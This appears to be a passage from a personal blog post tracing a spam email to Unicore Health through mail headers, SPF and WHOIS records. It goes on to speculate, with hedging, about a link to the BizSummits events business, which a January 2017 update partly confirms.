X-Mythic-Debug: Threshold =  On =
X-Spam-Status: No, score=-1.1
We can see that the SPF record for unicorehealth.net matches it to The domain unicorehealth.net is also hosted on the same IP, so we can be reasonably assured that this is not a forgery. Let's look at the WHOIS details for that domain..

Registrant Name: Brad Smith
Registrant Organization: Unicore Health
Registrant Street: 3200 Downwood Circle
Registrant Street: Suite 410
Registrant City: Atlanta
Registrant State/Province: Georgia
Registrant Postal Code: 30327
Registrant Country: United States
Registrant Phone: +1.6785226363
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: bsmith@unicorehealth.com

This links unicorehealth.net with unicorehealth.com. Indeed, we can find "Bradley Smith" on the unicorehealth.com web site.

I emailed Mr Smith back twice and asked him how he came across the email address. He didn't bother to reply.

Previously I mentioned that I have seen this type of spam before from one particular company, BizSummits, run by Michael Price. In particular, they look for potential names on a website and then spam them, a technique that is highly inaccurate but does seem to be relatively successful nonetheless.

Now, Unicore Health is not BizSummits. But they both use a virtual office address in Altanta, about ten miles apart. So perhaps there is some personal connection between the two businesses or the people behind them.

One of Mr Price's other businesses is called PlugMeIn  (plugmein.com), which claims to reveal the email addresses of key people on certain websites. If this uses the same approach as the BizSummits spam, then it might well be just as inaccurate. And perhaps Unicore Health is using PlugMeIn technology to find email addresses.

But since Brad Smith didn't bother to reply to me, I can't tell if this spam was the result of faulty software, a bad email address list or just plain stupidity. Personally, I won't be buying anything from them soon.

UPDATE - January 2017

For various reasons, I ended revisiting this post and discovered that unicorehealth.net now displays a site "Hartford HR Summit" which is definitely a BizSummits / Michael Price site.